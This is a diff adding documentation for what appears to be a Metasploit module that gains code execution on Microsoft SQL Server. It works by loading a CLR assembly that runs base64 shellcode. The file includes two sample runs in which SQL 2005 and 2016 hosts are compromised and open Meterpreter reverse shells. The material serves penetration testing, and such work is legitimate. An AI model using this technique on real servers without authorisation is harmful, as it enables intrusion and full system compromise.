|
| 1 | +## Introduction |
| 2 | + |
| 3 | +This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/). |
| 4 | + |
| 5 | +## Prerequisites |
| 6 | + |
| 7 | +The module requires SQL credentials for a user with sufficient privileges to: |
| 8 | + |
| 9 | +* Enable CLR support (if not already enabled). |
| 10 | +* Enabled `TRUSTWORTHY` (if not already enabled). |
| 11 | +* Add an assembly to the server. |
| 12 | +* Create a new stored procedure. |
| 13 | + |
| 14 | +The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the `data` folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode. |
| 15 | + |
| 16 | +This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen. |
| 17 | + |
| 18 | +This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual Studio command line). |
| 19 | + |
| 20 | +## Sample Runs: |
| 21 | + |
| 22 | +MS SQL 2005: |
| 23 | + |
| 24 | +``` |
| 25 | +msf exploit(mssql_clr_payload) > exploit |
| 26 | +
|
| 27 | +[*] [2017.02.10-12:56:15] Started reverse TCP handler on 172.16.255.1:4444 |
| 28 | +[!] [2017.02.10-12:56:15] 172.16.255.130:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server |
| 29 | +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have TRUSTWORTHY setting on, enabling ... |
| 30 | +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have CLR support enabled, enabling ... |
| 31 | +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Using version v3.5 of the Payload Assembly |
| 32 | +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Adding custom payload assembly ... |
| 33 | +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Exposing payload execution stored procedure ... |
| 34 | +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Executing the payload ... |
| 35 | +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing stored procedure ... |
| 36 | +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing assembly ... |
| 37 | +[*] [2017.02.10-12:56:16] Sending stage (1189423 bytes) to 172.16.255.130 |
| 38 | +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring CLR setting ... |
| 39 | +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring Trustworthy setting ... |
| 40 | +[*] Meterpreter session 10 opened (172.16.255.1:4444 -> 172.16.255.130:49168) at 2017-02-10 12:56:18 +1000 |
| 41 | +
|
| 42 | +meterpreter > getuid |
| 43 | +Server username: NT AUTHORITY\SYSTEM |
| 44 | +meterpreter > sysinfo |
| 45 | +Computer : WIN-8CT6HVI5D6J |
| 46 | +OS : Windows 2008 R2 (Build 7601, Service Pack 1). |
| 47 | +Architecture : x64 |
| 48 | +System Language : en_US |
| 49 | +Domain : WORKGROUP |
| 50 | +Logged On Users : 2 |
| 51 | +Meterpreter : x64/windows |
| 52 | +``` |
| 53 | + |
| 54 | +MS SQL 2016 |
| 55 | + |
| 56 | +``` |
| 57 | +msf exploit(mssql_clr_payload) > exploit |
| 58 | +
|
| 59 | +[*] [2017.02.10-12:55:58] Started reverse TCP handler on 172.16.255.1:4444 |
| 60 | +[!] [2017.02.10-12:55:58] 172.16.255.129:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server |
| 61 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have TRUSTWORTHY setting on, enabling ... |
| 62 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have CLR support enabled, enabling ... |
| 63 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Using version v4.0 of the Payload Assembly |
| 64 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Adding custom payload assembly ... |
| 65 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Exposing payload execution stored procedure ... |
| 66 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Executing the payload ... |
| 67 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing stored procedure ... |
| 68 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing assembly ... |
| 69 | +[*] [2017.02.10-12:55:58] Sending stage (1189423 bytes) to 172.16.255.129 |
| 70 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring CLR setting ... |
| 71 | +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring Trustworthy setting ... |
| 72 | +[*] Meterpreter session 9 opened (172.16.255.1:4444 -> 172.16.255.129:49732) at 2017-02-10 12:56:00 +1000 |
| 73 | +
|
| 74 | +meterpreter > getuid |
| 75 | +Server username: NT Service\MSSQLSERVER |
| 76 | +meterpreter > sysinfo |
| 77 | +Computer : WIN-7QEE7C4D0GF |
| 78 | +OS : Windows 2016 (Build 14393). |
| 79 | +Architecture : x64 |
| 80 | +System Language : en_US |
| 81 | +Domain : WORKGROUP |
| 82 | +Logged On Users : 2 |
| 83 | +Meterpreter : x64/windows |
| 84 | +``` |
0 commit comments